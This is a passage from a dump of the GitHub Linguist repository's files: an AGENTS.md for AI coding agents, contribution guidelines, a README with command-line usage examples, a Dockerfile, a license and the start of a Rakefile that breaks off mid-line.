    "content": "# AGENTS.md\n\nThis file provides guidance for AI agents working with the Linguist repository.\n\n## Project Overview\n\nLinguist is a Ruby library used on GitHub.com to:\n- Detect blob languages\n- Ignore binary and vendored files\n- Suppress generated files in diffs\n- Generate language breakdown graphs\n\nIt's packaged as the `github-linguist` gem and includes CLI tools: `github-linguist` and `git-linguist`.\n\n## Key Files and Directories\n\n| Path | Purpose |\n|------|---------|\n| `lib/linguist/languages.yml` | Master list of all languages, extensions, filenames, and their properties |\n| `lib/linguist/heuristics.yml` | Rules for disambiguating files with shared extensions |\n| `lib/linguist/heuristics.rb` | Ruby code implementing heuristic logic |\n| `lib/linguist/classifier.rb` | Centroid-based classifier for language detection |\n| `samples/` | Sample code files for each language (used by classifier) |\n| `grammars.yml` | Lists all TextMate grammars used for syntax highlighting |\n| `vendor/` | Contains grammar submodules and cached license files for the grammars |\n| `script/` | Utility scripts for maintenance tasks |\n\n## Development Environment\n\nUse GitHub Codespaces or the dev container for the easiest setup. The environment includes Ruby, Node.js, Docker, and all required dependencies.\n\nTo bootstrap locally:\n```bash\nscript/bootstrap\n```\n\nTo run Linguist from the repo:\n```bash\nbundle exec bin/github-linguist --breakdown\n```\n\n## Common Tasks\n\n### Adding a Language Extension\n1. Add extension to the language entry in `lib/linguist/languages.yml` (alphabetical order, case-sensitive; primary extension first)\n2. Add sample files to `samples/<Language>/`\n3. If extension is shared with another language, ensure there are at least two samples and add a heuristic in `lib/linguist/heuristics.yml`\n\n### Adding a New Language\n1. Add entry to `lib/linguist/languages.yml` (omit `language_id` initially)\n2. Add grammar: `script/add-grammar <grammar-url>`\n3. Add samples to `samples/<Language>/`\n4. Generate ID: `script/update-ids`\n5. If an extension is shared with another language, ensure there are at least two samples and add a heuristic in `lib/linguist/heuristics.yml`\n\n### Replacing a Grammar\n```bash\nscript/add-grammar --replace <GrammarName> <new-grammar-url>\n```\n\n### Important Scripts\n- `script/bootstrap` - Install dependencies\n- `script/add-grammar` - Add or replace TextMate grammars\n- `script/update-ids` - Generate unique language IDs\n- `script/cross-validation` - Test the classifier\n- `script/cibuild` - CI build script\n\n## Testing\n\nRun tests with:\n```bash\nbundle exec rake test\n```\n\nTest the classifier:\n```bash\nbundle exec script/cross-validation --test\n```\n\nAlways ensure tests pass before submitting changes. GitHub Actions runs tests on all PRs.\n\n## Coding Conventions\n\n- **Ruby style**: Follow existing code patterns in the repository\n- **languages.yml**: Keep alphabetically sorted (case-sensitive, uppercase before lowercase) with the comment at the top. Use the comment at the top to determine the fields to add for a language.\n- **Extensions in languages.yml**: Keep alphabetically sorted (case-sensitive, uppercase before lowercase); primary extension first\n- **Samples**: Use real-world code examples, not \"Hello World\" and other common examples used in tutorials\n- **Heuristics**: Write patterns to minimize false positives. Patterns must be linear, safe from ReDoS attacks, and RE2 compatible. All heuristics must have tests.\n- **Don't refactor unrelated code.** Keep changes scoped to the task at hand.\n\n## Generated and script maintained files — do not edit by hand\n\n- `.gitmodules`\n- `grammars.yml`\n- all files in `vendor/`\n\nThese are all maintained by the `script/add-grammars` script.\n\n## PR Requirements\n\nAll PRs must:\n1. Use the provided PR template. Irrelevant sections may be removed.\n2. Link to GitHub search results showing in-the-wild usage, excluding forks, for each extension being added (minimum 2000 files for common extensions, 200 for once-per-repo files or extensions).\n3. Link to the original source of any samples added. This must not be a link to the fork of Linguist used for the contribution.\n4. State the license of any sample code added individually.\n5. Pass all CI tests.\n\nDo not open a PR if any of the above conditions are not met and notify the user why the PR has not been created.\n\n## Usage Requirements for New Languages/Extensions\n\n- At least 2000 files indexed on GitHub (or 200 for once-per-repo files like Makefile), excluding forks\n- Reasonable distribution across unique `user/repo` combinations\n- High-proportion users may be filtered out during assessment\n\n## Grammar Requirements\n\nOnly add grammars with approved licenses (see `vendor/licenses/config.yml` for the list). TextMate-compatible grammars are used for syntax highlighting.\n\n## Key Dependencies\n\n- `charlock_holmes` - Character encoding detection (requires ICU)\n- `rugged` - libgit2 bindings for Ruby\n- Docker - Required for grammar operations\n"
  },
  {
    "path": "Brewfile",
    "content": "brew \"cmake\"\nbrew \"pkg-config\"\nbrew \"icu4c\"\ncask \"docker\"\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "# Contributing\n\nHi there!\nWe're thrilled that you'd like to contribute to this project.\nYour help is essential for keeping it great.\n\nContributions to this project are [released](https://docs.github.com/github/site-policy/github-terms-of-service#6-contributions-under-repository-license) to the public under the [project's open source license](LICENSE).\n\nThis project adheres to the [Contributor Covenant Code of Conduct](http://contributor-covenant.org/).\nBy participating, you are expected to uphold this code.\n\nThe majority of contributions won't need to touch any Ruby code at all.\n\n\n## Table of Contents\n\n- [Setting up a working environment](#setting-up-a-working-environment)\n   - [Using GitHub Codespaces](#using-github-codespaces)\n   - [Using the dev container locally](#using-the-dev-container-locally)\n   - [Using your local system without the dev container](#using-your-local-system-without-the-dev-container)\n      - [Dependencies](#dependencies)\n      - [Getting started](#getting-started)\n- [Adding an extension to a language](#adding-an-extension-to-a-language)\n- [Adding a language](#adding-a-language)\n- [Fixing a misclassified language](#fixing-a-misclassified-language)\n- [Fixing syntax highlighting](#fixing-syntax-highlighting)\n- [Changing the source of a syntax highlighting grammar](#changing-the-source-of-a-syntax-highlighting-grammar)\n- [Changing the color associated with a language](#changing-the-color-associated-with-a-language)\n- [Language extension and filename usage requirements](#language-extension-and-filename-usage-requirements)\n- [Testing](#testing)\n\n\n## Setting up a working environment\n\nIn order to start contributing to Linguist, you will need to setup your working environment.\nWe detail three methods below and recommend using GitHub Codespaces as it is the easiest and quickest method that will provide you with a consistent pre-configured environment ready for you to start contributing.\n\n### Using GitHub Codespaces\n\nUsing GitHub Codespaces is the easiest and quickest method to start contributing.\nThe Free and Pro plans for personal accounts include free use of GitHub Codespaces up to a fixed amount of usage every month.\nFor more info on GitHub Codespaces billing, see [this help page](https://docs.github.com/en/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces).\n\nTo get started, click this button: [![Open in GitHub Codespaces](https://github.com/codespaces/badge.svg)](https://codespaces.new/github-linguist/linguist)\n\n### Using the dev container locally\n\nTo open locally in VS Code using a dev container, follow the [Visual Studio Code Dev Containers installation instructions](https://code.visualstudio.com/docs/remote/containers#_installation) to configure dev container support.\nClose the repo and open it in VS Code.\nVS Code will automatically offer to run this project in a dev container when the project is opened.\nNo additional setup will be required.\n\n### Using your local system without the dev container\n\nThis is the longest and most involved and error-prone approach and is documented for those who can't use one of the methods above or prefer to do everything within the native operating system environment.\n\n#### Dependencies\n\nLinguist is a Ruby library so you will need a recent version of Ruby installed.\nThere are known problems with the macOS/XCode supplied version of Ruby that causes problems installing some of the dependencies.\nAccordingly, we highly recommend you install a version of Ruby using Homebrew, `rbenv`, `rvm`, `ruby-build`, `asdf` or other packaging system, before attempting to install Linguist and the dependencies.\n\nLinguist uses the [`charlock_holmes`](https://github.com/brianmario/charlock_holmes) character encoding detection library which in turn uses [ICU](http://site.icu-project.org/), and the libgit2 bindings for Ruby provided by [`rugged`](https://github.com/libgit2/rugged).\n[Bundler](https://bundler.io/) v1.10.0 or newer is required for installing the Ruby gem dependencies.\n[Docker](https://www.docker.com/) is also required when adding or updating grammars.\nThese components have their own dependencies - `icu4c`, and `cmake` and `pkg-config` respectively - which you may need to install before you can install Linguist.\n\nOn macOS with [Homebrew](http://brew.sh/) the instructions below under Getting started will install these dependencies for you.\n\nOn Ubuntu:\n\n```bash\napt-get install cmake pkg-config libicu-dev docker.io ruby ruby-dev zlib1g-dev build-essential libssl-dev\n```\n\nThe latest version of Bundler can be installed with `gem install bundler`.\n\n#### Getting started\n\nBefore you can start contributing to Linguist, you'll need to set up your environment first.\nClone the repo and run `script/bootstrap` to install its dependencies.\n\n```bash\ngit clone https://github.com/github/linguist.git\ncd linguist/\nscript/bootstrap\n```\n\nTo run Linguist from the cloned repository:\n\n```bash\nbundle exec bin/github-linguist --breakdown\n```\n\n## Adding an extension to a language\n\nWe will only add new extensions once they have sufficient usage on GitHub.\nWe detail our usage requirements and assessment method later at [Language extension and filename usage requirements](#language-extension-and-filename-usage-requirements).\n\nTo add support for a new extension:\n\n1. Add your extension to the language entry in [`languages.yml`][languages].\n   Keep the extensions in alphabetical order, sorted case-sensitively (uppercase before lowercase).\n   The exception is the primary extension: it should always be first.\n2. Add at least one sample for your extension to the [samples directory][samples] in the correct subdirectory.\n   We prefer examples of real-world code showing common usage.\n   The more representative of the structure of the language, the better.\n\n  > [!IMPORTANT]\n  > \"Hello world\" and other examples found in tutorials will not be accepted.\n\n3. Open a pull request, linking to a [GitHub search result][search-example] showing in-the-wild usage.\n   If you are adding a sample, please state clearly the license covering the code.\n   If possible, link to the original source of the sample.\n   If you wrote the sample specifically for the PR and are happy for it to be included under the MIT license that covers Linguist, you can state this instead.\n\n  > [!IMPORTANT]\n  > Pull requests will not be reviewed if the template is not used or not filled in. \n\nAdditionally, if this extension is already listed in [`languages.yml`][languages] and associated with another language, then a few more steps will need to be taken:\n\n1. Make sure that at least two example `.yourextension` files are present in the [samples directory][samples] for each language that uses `.yourextension`.\n2. If the two languages look vaguely similar, or one of the languages has uniquely identifiable characteristics, consider writing a [heuristic][] to help with the classification.\n\nRemember, the goal here is to try and avoid false positives!\n\nSee [My Linguist PR has been merged but GitHub doesn't reflect my changes][merged-pr] for details on when your changes will appear on GitHub after your PR has been merged.\n\n## Adding a language\n\nWe will only add new extensions once they have sufficient usage on GitHub.\nWe detail our usage requirements and assessment method later at [Language extension and filename usage requirements](#language-extension-and-filename-usage-requirements).\n\nTo add support for a new language:\n\n1. Add an entry for your language to [`languages.yml`][languages].\n   Omit the `language_id` field for now.\n2. Add a syntax-highlighting grammar for your language using:\n\n   ```bash\n   script/add-grammar https://github.com/JaneSmith/MyGrammar\n   ```\n\n   This command will analyze the grammar and, if no problems are found, add it to the repository.\n   If problems are found, please report them to the grammar maintainer as you will otherwise be unable to add it.\n\n  > [!IMPORTANT]\n  > Please only add grammars that have [one of these licenses][licenses].\n\n3. Add samples for your language to the [samples directory][samples] in the correct subdirectory.\n   We prefer examples of real-world code showing common usage.\n   The more representative of the structure of the language, the better.\n\n  > [!IMPORTANT]\n  > \"Hello world\" and other examples found in tutorials will not be accepted.\n\n4. Generate a unique ID for your language by running `script/update-ids`.\n5. Open a pull request, linking to [GitHub search results][search-example] showing in-the-wild usage.\n   Please state clearly the license covering the code in the samples.\n   Link directly to the original source if possible.\n   If you wrote the sample specifically for the PR and are happy for it to be included under the MIT license that covers Linguist, you can state this instead.\n\n  > [!IMPORTANT]\n  > Pull requests will not be reviewed if the template is not used or not filled in. \n\nIn addition, if your new language defines an extension that is already listed in [`languages.yml`][languages] and associated with another language, then a few more steps will need to be taken:\n\n1. Make sure that at least two example `.yourextension` files are present in the [samples directory][samples] for each language that uses `.yourextension`.\n2. If the two languages look vaguely similar, or one of the languages has uniquely identifiable characteristics, consider writing a [heuristic][] to help with the classification.\n\nRemember, the goal here is to try and avoid false positives!\n\nSee [My Linguist PR has been merged but GitHub doesn't reflect my changes][merged-pr] for details on when your changes will appear on GitHub after your PR has been merged.\n\n## Fixing a misclassified language\n\nMost languages are detected by their file extension defined in [`languages.yml`][languages].\nFor disambiguating between files with common extensions, Linguist applies some [heuristics](/lib/linguist/heuristics.rb) and a [statistical classifier](lib/linguist/classifier.rb).\nThis process can help differentiate between, for example, `.h` files which could be either C, C++, or Obj-C.\n\nMisclassifications can often be solved by either adding a new filename or extension for the language or adding more [samples][] to make the classifier smarter.\n\n## Fixing syntax highlighting\n\nSyntax highlighting in GitHub is performed using TextMate-compatible grammars.\nThese are the same grammars used by TextMate, Sublime Text, and Atom.\nEvery language in [`languages.yml`][languages] is mapped to its corresponding TextMate `scopeName`.\nThis scope name will be used when picking up a grammar for highlighting.\n\nAssuming your code is being detected as the right language, in most cases syntax highlighting problems are due to a bug in the language grammar rather than a bug in Linguist.\n[`vendor/README.md`][grammars] lists all the grammars we use for syntax highlighting on GitHub.com.\nFind the one corresponding to your code's programming language and submit a bug report upstream.\nIf you can, try to reproduce the highlighting problem in the text editor that the grammar is designed for (TextMate, Sublime Text, or Atom) and include that information in your bug report.\n\nYou can also try to fix the bug yourself and submit a pull-request.\n[TextMate's documentation](https://manual.macromates.com/en/language_grammars) offers a good introduction on how to work with TextMate-compatible grammars.\nNote that Linguist uses [PCRE](https://www.pcre.org/) regular expressions, while TextMate uses [Oniguruma](https://github.com/kkos/oniguruma).\nAlthough they are mostly compatible, there may be occasional differences in syntax and semantics between the two.\nLinguist's grammar compiler will highlight any problems when the grammar is updated.\n\nOnce the bug has been fixed upstream, we'll pick it up for GitHub in the next release of Linguist.\n\nSee [My Linguist PR has been merged but GitHub doesn't reflect my changes][merged-pr] for details on when the upstream changes will appear on GitHub.\n\n## Changing the source of a syntax highlighting grammar\n\nWe'd like to ensure Linguist and GitHub.com are using the latest and greatest grammars that are consistent with the current usage but understand that sometimes a grammar can lag behind the evolution of a language or even stop being developed.\nThis often results in someone grasping the opportunity to create a newer and better and more actively maintained grammar, and we'd love to use it and pass on its functionality to our users.\n\nSwitching the source of a grammar is really easy:\n\n```bash\nscript/add-grammar --replace MyGrammar https://github.com/PeterPan/MyGrammar\n```\n\nThis command will analyze the grammar and, if no problems are found, add it to the repository.\nIf problems are found, please report these problems to the grammar maintainer as you will not be able to add the grammar if problems are found.\n\n> [!IMPORTANT]\n> Please only add grammars that have [one of these licenses][licenses].\n\nPlease then open a pull request for the updated grammar.\n\nSee [My Linguist PR has been merged but GitHub doesn't reflect my changes][merged-pr] for details on when your changes will appear on GitHub after your PR has been merged.\n\n## Changing the color associated with a language\n\nMany of the colors associated with the languages within Linguist have been in place for a very long time.\nThe colors were often chosen based on the colors used by the language at the time and since then users will have become familiar with those colors as they appear on GitHub.com.\nIf you would like to change the color of a language, we ask that you propose your suggested color change to the wider community for your language to gain consensus before submitting a pull request.\nPlease do this in a community forum or repository used and known by the wider community of that language, not the Linguist repository.\n\nOnce you've received consensus that the community is happy with your proposed color change, please feel free to open a PR making the change and link to the public discussion where this was agreed by the community.\nIf there are official branding guidelines to support the colour choice, please link to those too.\n\n## Language extension and filename usage requirements\n\nIn order to a new language extension or filename to be accepted in Linguist, we require that there is sufficient wide-spread usage on public GitHub repositories.\nThis means we do not accept PRs for very new or hobby languages, and will close any such PRs that attempt to add them.\nWe use GitHub's Search to assess popularity. The search query we ask you to provide in the PR template is required to support evidence of your language's usage in the wild.\nNote that there are [limitations][search-limitations] imposed on what results are indexed by GitHub Search.\n\nThe usage requirements are:\n\n- at least 2000 files per extension or filename indexed in the last year (the number you see at the top of the search results), excluding forks, for extensions or filenames expected to occur more than once per repo, like Ruby's `.rb` extension.\n- at least 200 files per extension or filename indexed in the last year, excluding forks, for extensions or filenames expected to only occur once per repo, like a `Makefile`.\n- the results should show a reasonable distribution across unique `:user/:repo` combinations assessed by manually and randomly clicking through the results. \n  If particular users are showing a high proportion of the results, for example the primary language owner, we will filter out those users using `-user:<username>` to reduce their impact on the assessment.\n\nThis method of assessment is reviewed periodically to see if a better method becomes available. If you have a better approach, please open a new [discussion][].\n\n## Testing\n\nYou can run the tests locally with:\n\n```bash\nbundle exec rake test\n```\n\nYou can test the classifier locally with:\n\n```bash\nbundle exec script/cross-validation --test\n```\n\nSometimes getting the tests running can be too much work, especially if you don't have much Ruby experience.\nIt's okay: be lazy and let [GitHub Actions](https://github.com/features/actions) run the tests for you.\nJust open a pull request and the bot will start cranking away.\n\nHere's our current build status: [![Actions Status](https://github.com/github/linguist/workflows/Run%20Tests/badge.svg)](https://github.com/github/linguist/actions)\n\n\n## Maintainers\n\nLinguist is maintained with :heart: by:\n\n- **@Alhadis**\n- **@lildude** (GitHub staff)\n\nAs Linguist is a production dependency for GitHub we have a couple of workflow restrictions:\n\n- Anyone with commit rights can merge Pull Requests provided that there is a :+1: from a GitHub staff member.\n- Releases are performed by GitHub staff so we can ensure GitHub.com always stays up to date with the latest release of Linguist and there are no regressions in production.\n\n[discussion]: https://github.com/github-linguist/linguist/discussions\n[grammars]: /vendor/README.md\n[heuristic]: https://github.com/github/linguist/blob/master/lib/linguist/heuristics.yml\n[languages]: /lib/linguist/languages.yml\n[licenses]: https://github.com/github/linguist/blob/9b1023ed5d308cb3363a882531dea1e272b59977/vendor/licenses/config.yml#L4-L15\n[samples]: /samples\n[search-example]: https://github.com/search?type=code&q=NOT+is%3Afork+path%3A*.boot\n[search-limitations]: https://docs.github.com/en/search-github/github-code-search/about-github-code-search\n[#5756]: https://github.com/github/linguist/issues/5756\n[merged-pr]: /docs/troubleshooting.md#my-linguist-pr-has-been-merged-but-gitHub-doesnt-reflect-my-changes\n"
  },
  {
    "path": "Dockerfile",
    "content": "FROM ruby:2-alpine3.13\n\nRUN apk --update add --virtual build_deps \\\n    build-base \\\n    libc-dev \\\n    cmake \\\n    && apk add icu-dev openssl-dev \\\n    && gem install github-linguist \\\n    && apk del build_deps \\\n\t&& rm /var/cache/apk/*\n\nCMD [\"github-linguist\"]\n"
  },
  {
    "path": "Gemfile",
    "content": "source 'https://rubygems.org'\ngemspec :name => \"github-linguist\"\n\ngroup :debug do\n  gem 'byebug' if RUBY_VERSION >= '2.2'\nend\n"
  },
  {
    "path": "LICENSE",
    "content": "Copyright (c) 2017 GitHub, Inc.\n\nPermission is hereby granted, free of charge, to any person\nobtaining a copy of this software and associated documentation\nfiles (the \"Software\"), to deal in the Software without\nrestriction, including without limitation the rights to use,\ncopy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the\nSoftware is furnished to do so, subject to the following\nconditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\nOF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\nHOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\nWHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\nFROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\nOTHER DEALINGS IN THE SOFTWARE.\n"
  },
  {
    "path": "README.md",
    "content": "# Linguist\n\n[![Actions Status](https://github.com/github/linguist/workflows/Run%20Tests/badge.svg)](https://github.com/github/linguist/actions) \n\n[![Open in GitHub Codespaces](https://github.com/codespaces/badge.svg)](https://codespaces.new/github-linguist/linguist)\n\nThis library is used on GitHub.com to detect blob languages, ignore binary or vendored files, suppress generated files in diffs, and generate language breakdown graphs.\n\n## Documentation\n\n- [How Linguist works](/docs/how-linguist-works.md)\n- [Change Linguist's behaviour with overrides](/docs/overrides.md)\n- [Troubleshooting](/docs/troubleshooting.md)\n- [Contributing guidelines](CONTRIBUTING.md)\n\n## Installation\n\nInstall the gem:\n\n```bash\ngem install github-linguist\n```\n\n### Dependencies\n\nLinguist is a Ruby library so you will need a recent version of Ruby installed.\nThere are known problems with the macOS/Xcode supplied version of Ruby that causes problems installing some of the dependencies.\nAccordingly, we highly recommend you install a version of Ruby using Homebrew, `rbenv`, `rvm`, `ruby-build`, `asdf` or other packaging system, before attempting to install Linguist and the dependencies.\n\nLinguist uses [`charlock_holmes`](https://github.com/brianmario/charlock_holmes) for character encoding and [`rugged`](https://github.com/libgit2/rugged) for libgit2 bindings for Ruby.\nThese components have their own dependencies.\n\n1. charlock_holmes\n    * cmake\n    * pkg-config\n    * [ICU](http://site.icu-project.org/)\n    * [zlib](https://zlib.net/)\n2. rugged\n    * [libcurl](https://curl.haxx.se/libcurl/)\n    * [OpenSSL](https://www.openssl.org)\n\nYou may need to install missing dependencies before you can install Linguist.\nFor example, on macOS with [Homebrew](http://brew.sh/):\n\n```bash\nbrew install cmake pkg-config icu4c\n```\n\nOn Ubuntu:\n\n```bash\nsudo apt-get install build-essential cmake pkg-config libicu-dev zlib1g-dev libcurl4-openssl-dev libssl-dev ruby-dev\n```\n\n## Usage\n\n### Application usage\n\nLinguist can be used in your application as follows:\n\n```ruby\nrequire 'rugged'\nrequire 'linguist'\n\nrepo = Rugged::Repository.new('.')\nproject = Linguist::Repository.new(repo, repo.head.target_id)\nproject.language       #=> \"Ruby\"\nproject.languages      #=> { \"Ruby\" => 119387 }\n```\n\n### Command line usage\n\nThe `github-linguist` executable operates in two distinct modes:\n\n1. **[Git Repository mode](#git-repository)** - Analyzes an entire Git repository (when given a directory path or no path)\n2. **[Single file mode](#single-file)** - Analyzes a specific file (when given a file path)\n\n#### Git Repository\n\nA repository's languages stats can be assessed from the command line using the `github-linguist` executable.\nWithout any options, `github-linguist` will output the language breakdown by percentage and file size.\n\n```bash\ncd /path-to-repository\ngithub-linguist\n```\n\nYou can try running `github-linguist` on the root directory in this repository itself:\n\n```console\n$ github-linguist\n66.84%  264519     Ruby\n24.68%  97685      C\n6.57%   25999      Go\n1.29%   5098       Lex\n0.32%   1257       Shell\n0.31%   1212       Dockerfile\n```\n\n#### Additional options\n\n##### `--rev REV`\n\nThe `--rev REV` flag will change the git revision being analyzed to any [gitrevisions(1)](https://git-scm.com/docs/gitrevisions#_specifying_revisions) compatible revision you specify.\n\nThis is useful to analyze the makeup of a repo as of a certain tag, or in a certain branch.\n\nFor example, here is the popular [Jekyll open source project](https://github.com/jekyll/jekyll).\n\n```console\n$ github-linguist jekyll\n\n70.64%  709959     Ruby\n23.04%  231555     Gherkin\n3.80%   38178      JavaScript\n1.19%   11943      HTML\n0.79%   7900       Shell\n0.23%   2279       Dockerfile\n0.13%   1344       Earthly\n0.10%   1019       CSS\n0.06%   606        SCSS\n0.02%   234        CoffeeScript\n0.01%   90         Hack\n```\n\nAnd here is Jekyll's published website, from the gh-pages branch inside their repository.\n\n```console\n$ github-linguist jekyll --rev origin/gh-pages\n100.00% 2568354    HTML\n```\n\n##### `--breakdown`\n\nThe `--breakdown` or `-b` flag will additionally show the breakdown of files by language.\n\nYou can try running `github-linguist` on the root directory in this repository itself:\n\n```console\n$ github-linguist --breakdown\n66.84%  264519     Ruby\n24.68%  97685      C\n6.57%   25999      Go\n1.29%   5098       Lex\n0.32%   1257       Shell\n0.31%   1212       Dockerfile\n\nRuby:\nGemfile\nRakefile\nbin/git-linguist\nbin/github-linguist\next/linguist/extconf.rb\ngithub-linguist.gemspec\nlib/linguist.rb\n…\n```\n\n##### `--strategies`\n\nThe `--strategies` or `-s` flag will show the language detection strategy used for each file. This is useful for understanding how Linguist determined the language of specific files. Note that unless the `--json` flag is specified, this flag will set the `--breakdown` flag implicitly.\n\nYou can try running `github-linguist` on the root directory in this repository itself with the strategies flag:\n\n```console\n$ github-linguist --breakdown --strategies\n66.84%  264519     Ruby\n24.68%  97685      C\n6.57%   25999      Go\n1.29%   5098       Lex\n0.32%   1257       Shell\n0.31%   1212       Dockerfile\n\nRuby:\n  Gemfile [Filename]\n  Rakefile [Filename]\n  bin/git-linguist [Extension]\n  bin/github-linguist [Extension]\n  lib/linguist.rb [Extension]\n  …\n```\n\nIf a file's language is affected by `.gitattributes`, the strategy will show the original detection method along with a note indicating whether the gitattributes setting changed the result or confirmed it.\n\nFor instance, if you had the following .gitattributes overrides in your repo:\n\n```gitattributes\n\n*.ts linguist-language=JavaScript\n*.js linguist-language=JavaScript\n\n```\n\nthe output of Linguist would be something like this:\n\n```console\n100.00% 217        JavaScript\n\nJavaScript:\n  demo.ts [Heuristics (overridden by .gitattributes)]\n  demo.js [Extension (confirmed by .gitattributes)]\n```\n\n##### `--json`\n\nThe `--json` or `-j` flag output the data into JSON format.\n\n```console\n$ github-linguist --json\n{\"Dockerfile\":{\"size\":1212,\"percentage\":\"0.31\"},\"Ruby\":{\"size\":264519,\"percentage\":\"66.84\"},\"C\":{\"size\":97685,\"percentage\":\"24.68\"},\"Lex\":{\"size\":5098,\"percentage\":\"1.29\"},\"Shell\":{\"size\":1257,\"percentage\":\"0.32\"},\"Go\":{\"size\":25999,\"percentage\":\"6.57\"}}\n```\n\nThis option can be used in conjunction with `--breakdown` to get a full list of files along with the size and percentage data.\n\n```console\n$ github-linguist --breakdown --json\n{\"Dockerfile\":{\"size\":1212,\"percentage\":\"0.31\",\"files\":[\"Dockerfile\",\"tools/grammars/Dockerfile\"]},\"Ruby\":{\"size\":264519,\"percentage\":\"66.84\",\"files\":[\"Gemfile\",\"Rakefile\",\"bin/git-linguist\",\"bin/github-linguist\",\"ext/linguist/extconf.rb\",\"github-linguist.gemspec\",\"lib/linguist.rb\",...]}}\n\n```\n\nNB. The `--strategies` flag has no effect, when the `--json` flag is present.\n\n#### Single file\n\nAlternatively you can find stats for a single file using the `github-linguist` executable.\n\nYou can try running `github-linguist` on files in this repository itself:\n\n```console\n$ github-linguist grammars.yml\ngrammars.yml: 884 lines (884 sloc)\n  type:      Text\n  mime type: text/x-yaml\n  language:  YAML\n```\n\n#### Additional options\n\n##### `--breakdown`\n\nThis flag has no effect in *Single file* mode.\n\n##### `--strategies`\n\nWhen using the `--strategies` or `-s` flag with a single file, you can see which detection method was used:\n\n```console\n$ github-linguist --strategies lib/linguist.rb \nlib/linguist.rb: 105 lines (96 sloc)\n  type:      Text\n  mime type: application/x-ruby\n  language:  Ruby\n  strategy:  Extension\n```\n\nIf a file's language is affected by `.gitattributes`, the strategy will show whether the gitattributes setting changed the result or confirmed it:\n\nIn this fictitious example, it says \"confirmed by .gitattributes\" since the detection process (using the Filename strategy) would have given the same output as the override:\n```console\n.devcontainer/devcontainer.json: 27 lines (27 sloc)\n  type:      Text\n  mime type: application/json\n  language:  JSON with Comments\n  strategy:  Filename (confirmed by .gitattributes)\n```\n\nIn this other fictitious example, it says \"overridden by .gitattributes\" since the gitattributes setting changes the detected language to something different:\n\n```console\ntest.rb: 13 lines (11 sloc)\n  type:      Text\n  mime type: application/x-ruby\n  language:  Java\n  strategy:  Extension (overridden by .gitattributes)\n```\n\nHere, the `.rb` file would normally be detected as Ruby by the Extension strategy, but `.gitattributes` overrides it to be detected as Java instead.\n\n##### `--json`\n\nUsing the `--json` flag will give you the output for a single file in JSON format:\n\n```console\n$ github-linguist --strategies --json  lib/linguist.rb\n{\"lib/linguist.rb\":{\"lines\":105,\"sloc\":96,\"type\":\"Text\",\"mime_type\":\"application/x-ruby\",\"language\":\"Ruby\",\"large\":false,\"generated\":false,\"vendored\":false}}\n```\n\nNB. The `--strategies` has no effect, when the `--json` flag is present.\n\n#### Docker\n\nIf you have Docker installed you can either build or use\nour pre-built images and run Linguist within a container:\n\n```console\n$ docker run --rm -v $(pwd):$(pwd):Z -w $(pwd) -t ghcr.io/github-linguist/linguist:latest\n66.84%  264519     Ruby\n24.68%  97685      C\n6.57%   25999      Go\n1.29%   5098       Lex\n0.32%   1257       Shell\n0.31%   1212       Dockerfile\n```\n\n##### Building the image\n\n```console\n$ docker build -t linguist .\n$ docker run --rm -v $(pwd):$(pwd):Z -w $(pwd) -t linguist\n66.84%  264519     Ruby\n24.68%  97685      C\n6.57%   25999      Go\n1.29%   5098       Lex\n0.32%   1257       Shell\n0.31%   1212       Dockerfile\n$ docker run --rm -v $(pwd):$(pwd) -w $(pwd) -t linguist github-linguist --breakdown\n66.84%  264519     Ruby\n24.68%  97685      C\n6.57%   25999      Go\n1.29%   5098       Lex\n0.32%   1257       Shell\n0.31%   1212       Dockerfile\n\nRuby:\nGemfile\nRakefile\nbin/git-linguist\nbin/github-linguist\next/linguist/extconf.rb\ngithub-linguist.gemspec\nlib/linguist.rb\n…\n```\n\n## Contributing\n\nPlease check out our [contributing guidelines](CONTRIBUTING.md).\n\n## License\n\nThe language grammars included in this gem are covered by their repositories' respective licenses.\n[`vendor/README.md`](/vendor/README.md) lists the repository for each grammar.\n\nAll other files are covered by the MIT license, see [`LICENSE`](./LICENSE).\n"
  },
  {
    "path": "Rakefile",
    "content": "require 'bundler/setup'\nrequire 'rake/clean'\nrequire 'rake/testtask'\nrequire 'rake/extensiontask'\nrequire 'yaml'\nrequire 'yajl'\nrequire 'open-uri'\nrequire 'json'\nrequire 'open3'\n\ntask :default => :test\n\nRake::TestTask.new\n\ngem_spec = Gem::Specification.load('github-linguist.gemspec')\n\nRake::ExtensionTask.new('linguist', gem_spec) do |ext|\n  ext.lib_dir = File.join('lib', 'linguist')\nend\n\n# Extend test task to check for samples and fetch latest Ace modes\ntask :test => [:compile, :check_samples, :fetch_ace_modes]\n\ndesc \"Check that we have samples.json generated\"\ntask :check_samples do\n  unless File.exist?('lib/linguist/samples.json')\n    Rake::Task[:samples].invoke\n  end\nend\n\ndesc \"Fetch the latest Ace modes from its GitHub repository\"\ntask :fetch_ace_modes do\n  ACE_FIXTURE_PATH = File.join('test', 'fixtures', 'ace_modes.json')\n\n  File.delete(ACE_FIXTURE_PATH) if File.exist?(ACE_FIXTURE_PATH)\n\n  begin\n    ace_github_modes_lib = URI.open(\"https://api.github.com/repos/ajaxorg/ace/contents/lib/ace/mode\").read\n    ace_github_modes_src = URI.open(\"https://api.github.com/repos/ajaxorg/ace/contents/src/mode\").read\n    File.write(ACE_FIXTURE_PATH, \"[#{ace_github_modes_lib},#{ace_github_modes_src}]\")\n  rescue OpenURI::HTTPError, SocketError\n      # no internet? no problem.\n  end\nend\n\ntask :samples => :compile do\n  require 'linguist/samples'\n  json = Yajl.dump(Linguist::Samples.data, :pretty => false)\n  File.write 'lib/linguist/samples.json', json\nend\n\ntask :flex do\n  if `flex -V` !~ /^flex \\d+\\.\\d+\\.\\d+/\n    fail \"flex not detected\"\n  end\n  system \"cd ext/linguist && flex tokenizer.l\"\nend\n\n# The error count will need to be adjusted here until such time as all 